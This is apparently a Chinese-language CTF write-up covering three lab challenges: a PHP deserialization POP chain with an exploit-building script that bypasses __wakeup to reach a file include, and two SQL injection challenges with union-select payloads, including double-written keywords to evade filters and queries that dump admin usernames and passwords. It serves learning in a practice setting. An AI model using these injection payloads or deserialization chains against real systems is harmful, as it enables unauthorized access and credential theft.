POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据,感觉就是比之前的题长一点?复杂一点?

首先检查网页,f12看到提示

image.png

跳转到InDeX.php界面,得到如下代码,分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class Air{
private $name="Air is the best Hacker";
protected $title="sword";
public function OneSecondHack(){
echo "you had been hacked by air!";
}
public function __get($name){
echo $this->title;//这里,对象被当作字符串调用,触发__tostring
return $name;
}//当访问一个私有属性,不存在属性时触发
public function __toString()
{
$test=$this->name;
$test();//(感觉这里是突破口,植入一句话木马)好吧我想错了,这里是对象被当作方法,触发__invoke
return '';
}//在对象被当成字符串调用的时候触发
public function __invoke(){
include $this->name;
}//当一个对象被当成方法调用的时候触发
}
class Boogipop{
public $name="Air's fans";
public $title="vegetable";
public function admire(){
echo "给air佬递茶";
echo "<br>";
}
public function whoiam(){
echo 'airs fans';
echo "<br>";
return $this->name->name;//这里应该是要序列化,然后调用air里面的name
}这会触发__get,第二个是私有属性
}

class Vegetable{
public $important;
public function __construct()//在类被初始化的时候触发,当对象被创建时
{
$this->important=new Boogipop();
}
public function __destruct()//在整个php代码运行完的时候
{
$this->important->whoiam();
}//从这去调用上面的whoiam功能
public function __wakeup(){
$this->important=new Boogipop();
}//反序列化时触发,一般需要绕过
}
$Air=new Air();
$Air->OneSecondHack();
echo "<br>";
$Boogipop=new Boogipop();
$Boogipop->admire();
if(isset($_POST['pop']) and $_COOKIE['admin']==1){
unserialize($_POST['pop']);
}
?>

梳理逻辑

__destruct()调用whoiam功能–>私有属性被访问–>__get被调用–>对象被当作字符串–>__ToString被调用–>对象被当做方法–>__invoke被调用–>include植入木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!-- <?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class Air{
private $name="falg.php";
protected $title="sword";
public function OneSecondHack(){
echo "you had been hacked by air!";
}
public function __get($name){//当访问一个私有属性,不存在属性时触发
echo $this->title;//触发tostring
return $name;
}
public function __toString()//在对象被当成字符串调用的时候触发
{
$test=$this->name;
$test();//触发invoke
return '';
}
public function __invoke(){//当一个对象被当成方法(函数)调用的时候触发
include $this->name;//突破口,文件包含
}
}
class Boogipop{
public $name="Air's fans";
public $title="vegetable";
public function admire(){
echo "给air佬递茶";
echo "<br>";
}
public function whoiam(){
echo 'airs fans';
echo "<br>";
return $this->name->name;//触发_get
}
}

class Vegetable{
public $important;
public function __construct()
{
$this->important=new Boogipop();
}
public function __destruct()
{
$this->important->whoiam();
}
public function __wakeup(){
$this->important=new Boogipop();
}
}
$a=new Vegetable();
$a->important=new Boogipop();
$a->important->title=new Air();
// $a-> important-> title-> title=new Air();
$add1 = preg_replace("/1:{s:9/",":2:{s:9",serialize($a));
var_dump(serialize($a)) ;
var_dump (urlencode($add1)) ;
-->

BUU SQL COURSE 1

涉及知识

  • sql注入漏洞
  • 联合查询

解题过程

首先寻找注入点, 通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX

image.png

看到了输入用户名,密码的界面,首先尝试了一下万能密码,失败,登录界面貌似没有注入点,猜测在热点界面,图省事儿我就直接在火狐自带的操作台上抓包了

image.png

image.png

看到明显的sql注入字段,打开这个网页

image.png

判断为数字型注入

判断字段数,用union select,利用其报错机制

image.png

image.png

确定字段数为2

还查到另外一种利用order by,order by3报错说明无法显示第三列,所以只有两列,同样可以知道字段数为2

id的值进行修改,修改为数据库中不存在的值,就会将回显的位置腾出来

暴库

image.png看到多出来的那个news数据库尝试爆表

image.png

查字段

image.png

按顺序查询,在admin这个表里面就可以看到我们想要知道的信息

URL:http://522e45ea-7676-4ed4-96b8-383302a7e723.node4.buuoj.cn:81/backend/content_detail.php?id=0 union select 1,group_concat(username,’ ‘,password) from admin

这里有一个’ ‘,是为了让两串数据分开(防止我自己忘记,备注一下)

image.png

用户名,密码登录得到flag

image.png

[极客大挑战 2019]BabySQL

首先判断注入类型尝试1 or 1=1

image.png

尝试字符型1’ or 1=1#

image.png

发现,在user一栏,’or’空格,单引号,都被过滤了,在password一栏,or和空格被过滤了,双写绕过

尝试1' union select 1,2#确定字段数,回显如下,发现select被过滤双写绕过后发现union也被禁止,双写

image.png

1'uunionnion sselectelect 1,2,3#

返回数列为2,3,用哪一个都可以

image.png

查询当前数据库名1'uunionnion sselectelect 1,2,database()#

image.png

当前数据库名为geek,查询geek数据库

1'uunionnion sselectelect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

回显为'.tables table_schema='geek'#'',对比起来一个个排除,where被ban了,然后,有个坑,因为之前已知or是被过滤了的,这里的information里面的or也会被滤掉,需要双写,然后from也被ban了

最终的样子

1'uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

image.png

得到两个表,依次查询,第一个表和第二个表都返回如下图

b4bsql,geekuser

1'uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#

image.png

得到了字段名,查询字段内容

1’uunionnion sselectelect 1,2,group_concat(password) frfromom b4bsql#

image.png

em,烦人的or,双写得到password,然后flag就出来了

image.png

其实一开始没有按顺序,先尝试了geek user表,得到用户名和密码,登录了没flag,才回过头来去b4bsql的,呜呜.


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/bps81s6yu4nybb2s
语雀文档ID: 111154681